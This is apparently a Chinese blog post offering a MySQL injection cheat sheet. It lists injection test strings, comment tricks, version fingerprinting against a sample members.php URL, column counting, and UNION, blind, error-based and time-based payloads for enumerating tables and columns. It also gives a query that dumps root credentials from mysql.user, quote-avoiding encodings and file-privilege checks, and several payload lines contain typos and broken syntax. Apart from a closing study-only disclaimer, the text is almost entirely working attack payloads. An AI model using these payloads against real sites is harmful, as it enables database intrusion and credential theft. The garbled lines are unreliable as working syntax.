MySQL 注入攻击参考指南

默认数据库

INFORMATION_SCHEMA   适用于5及更高版本

测试注射

False表示查询无效(MySQL错误/网站上缺少内容)

True表示查询有效(内容像往常一样显示)

基于字符串基于数字基于登录
一个'    Falseand 1           True' OR '1
两个''   Trueand 0           False' OR 1 -- -
一个"   Falseand true       rue" OR "" = "
两个"" Trueand false      False" OR 1 = 1 -- -
\        Flase

1-false         如果易受攻击则返回1

1-true          如果易受攻击则返回0

'='

'LIKE'

\\       True

1*56            如果有注入则返回56 没有则返回1

'=0--+
  • SELECT * FROM Articles WHERE id ='1 '' ';
  • SELECT 1 FROM dual WHERE 1 ='1 ''''''''''''UNION SELECT'2 ';
  • 您可以根据需要使用尽可能多的撇号和引号,只要它们配对即可
  • 也可以在引号链后继续声明
  • SELECT * FROM Users WHERE id = 3 -2 ;
  • true 等于1。
  • false 等于0
 
  • SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

注释掉查询

注入后,以下内容可用于注释掉查询的其余部分

#Hash comment  哈希方式
/*C-style comment  C风格方式
-- -SQL comment  SQL方式
;%00Nullbyte  空字节
`Backtick 反引号

例:

SELECT * FROM Users WHERE username ='' OR 1 = 1 - - 'AND password ='';

SELECT * FROM Users WHERE id =''UNION SELECT 1,2,3` ';

测试版本

变量具体代码
  • VERSION()
  • @@VERSION
  • @@GLOBAL.VERSION
  • http://www.fuck86.com/members.php?id=1  AND MID(VERSION(),1,2)=5-- 
/*!VERSION Specific Code*/
例:

鉴于查询 SELECT * FROM Users limit 1,{INJECTION POINT};

http://www.fuck86.com/members.php?id=1 /*50094eaea*/ 版本等于或大于5.00.94返回真 反之 /*!50094eaea*/ 

1 /*!50096eaea*/; True - 版本小于5.00.96

1 /*!50095eaea*/;  假 - 版本等于5.00.95

数据库账号

mysql.user
用户密码
当前用户user(),current_user(),current_user,system_user(),session_user()
  • SELECT current_user;
  • SELECT CONCAT_WS(0x3A, user,password) FROM mysql.user WHERE user = 'root'-- (Privileged)

数据库名

Tablesinformation_schema.schemata, mysql.db
Columnsschema_name, db
Current DBdatabase(), schema()


Examples:

    • SELECT database();
    • SELECT schema_name FROM information_schema.schemata;
    • SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

@@HOSTNAME 主机名

UUID()             服务器mac地址 可能会在某些操作系统上返回48位随机字符串而不是MAC地址。

 

 

表和列

确定列数

基于分组/排序基于错误1基于错误2 基于错误3

GROUP/ORDER BY n+1;

  • 继续增加数字,直到得到错误的回复。
  • 尽管GROUP BY和ORDER BY在SQL中具有不同的功能,但它们都可以以完全相同的方式用于确定查询中的列数。

GROUP/ORDER BY 1,2,3,4,5...

  • 与前面的方法类似,如果启用了错误显示,我们可以检查带有1个请求的列数。

SELECT ... INTO var_list, var_list1, var_list2...

  • 如果启用了错误显示,则此方法有效。
  • 当注入点在LIMIT子句之后时,它可用于查找列数。

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

  • 如果您知道之后的表名并启用了错误显示,则此方法有效。
  • 它将返回表中的列数,而不是查询。

1' ORDER BY 1--+  True

1' ORDER BY 2--+  True

1' ORDER BY 3--+  True

1' ORDER BY 4--+  false 

可用断定有3个字段

-1' UNION SELECT 1,2,3--+ true

 

1' GROUP BY 1,2,3,4,5 --+ 

Unknown column '4' in 'group statement'

1' ORDER BY 1,2,3,4,5--+

Unknown column '4' in 'order clause'

-1 UNION SELECT 1 INTO @,@,@

-1 UNION SELECT 1 INTO @,@

-1 UNION SELECT 1 INTO @

1 INTO @,@,@

1 INTO @,@

1 AND(SELECT * FROM Users)= 1

操作数应包含3列

检索表

联合查询

UNION SELECT GROUP_CONCAT(table_name)FROM information_schema.tables WHERE version = 10;  MySQL 5版本= 10


盲

AND SELECT SUBSTR (table_name,1,1) FROM information_schema.tables>'A'

错误

AND (SELECT COUNT (*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1) x GROUP BY CONCAT ((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR  (RAND (0) * 2)))

(@:= 1) || @ GROUP BY CONCAT ((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @ || MIN (@:= 0);

AND ExtractValue(1,CONCAT(0x5c,(SELECT table_name FROM information_schema.tables LIMIT 1))); - 5.1.5中可用

检索列

联合

UNION SELECT GROUP_CONCAT(column_name)FROM information_schema.columns WHERE table_name ='tablename'

盲

AND SELECT SUBSTR(column_name,1,1)FROM information_schema.columns>'A'

错误

AND(SELECT COUNT(*)FROM(SELECT 1 UNION SELECT null UNION SELECT!1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)* 2)))

(@:= 1) || @ GROUP BY CONCAT ((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @ || MIN (@:= 0);

AND ExtractValue(1,CONCAT(0x5c,(SELECT column_name FROM information_schema.columns LIMIT 1))); - 在MySQL 5.1.5中可用

AND(1,2,3)=(SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1) - 在MySQL 5.1中修复

AND(SELECT * FROM(SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b)a)

AND(SELECT * FROM(SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING(SOME_EXISTING_COLUMN))a)

一次检索多个表/列
SELECT(@)FROM(SELECT(@:= 0x00),(SELECT(@)FROM(information_schema.columns)WHERE(table_schema> = @ )AND(@)IN(@:= CONCAT(@,0x0a,'[' ,table_schema,']>',table_name,'>',column_name))))x

SELECT * FROM Users WHERE id =' - 1'UNION SELECT 1,2,(SELECT(@)FROM(SELECT(@:= 0x00),(SELECT(@)FROM(information_schema.columns)WHERE(table_schema> = @ ) AND(@)IN(@:= CONCAT(@,0x0a,'[',table_schema,']>',table_name,'>',column_name))))x),4 - +';
SELECT MID(GROUP_CONCAT(0x3c62723e,0x5461626c653a20,table_name,0x3c62723e,0x436f6c756d6e3a20,column_name ORDER BY(SELECT version FROM information_schema.tables)SEPARATOR 0x3c62723e),1,1024)FROM information_schema.columns
SELECT 用户名 FROM Users WHERE id =' - 1'UNION SELECT MID(GROUP_CONCAT(0x3c62723e,0x5461626c653a20,table_name,0x3c62723e,0x436f6c756d6e3a20,column_name ORDER BY(SELECT version FROM information_schema.tables)SEPARATOR 0x3c62723e),1,1024)FROM information_schema.columns - +';

从列名称中查找表

SELECT table_name FROM information_schema.columns WHERE column_name ='username'; 查找名为username的任何列的表名

SELECT table_name FROM information_schema.columns WHERE column_name LIKE'%user%'; 查找包含单词user的任何列的表名称

从表名中查找列

SELECT column_name FROM information_schema.columns WHERE table_name ='Users';  查找Users表的列

SELECT column_name FROM information_schema.columns WHERE table_name LIKE'%user%'; 查找包含单词user的任何表的列名。

Avoiding the use of quotations

SELECT * FROM Users WHERE username = 0x61646D696E 

SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

字符串连接

SELECT 'a' 'd' 'mi' 'n';

SELECT CONCAT('a', 'd', 'm', 'i', 'n');

SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');

SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

如果CONCAT()的任何参数为空,则返回NULL。而不是使用CONCAT_WS ()。

CONCAT_WS()的第一个参数为其其余参数定义分隔符。

条件陈述

IF()

IFNULL()

NULLIF()

  • SELECT IF(1=1, true, false);
  • SELECT CASE WHEN 1=1 THEN true ELSE false END;

Timing

SLEEP()    MySQL 5

BENCHMARK()  MySQL 4/5

  • ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

权限

SELECT file_priv FROM mysql.user WHERE user = 'username';   Root privileges required  MySQL 4/5

SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';    No privileges required      MySQL 5

UNION SELECT 1,GRANTEE,3,IS_GRANTABLE FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%db83231%'--+

笔记:

文件无法覆盖 INTO OUTFILE 。
INTO OUTFILE 必须是查询中的最后一个语句。
无法对路径名进行编码,因此需要引号。
本博客所有文章如无特别注明均为原创。作者:odaycaogen复制或转载请以超链接形式注明转自 123``blog
原文地址《MySQL 注入攻击参考指南

郑重声明:本文只做技术交流学习使用,请尊重当地法规法律,勿对企业或个人网站及app进行破坏。如产生连带法律责任 123``blog 作者本人概不负责。

相关推荐

发表评论

路人甲 表情
Ctrl+Enter快速提交

网友评论(0)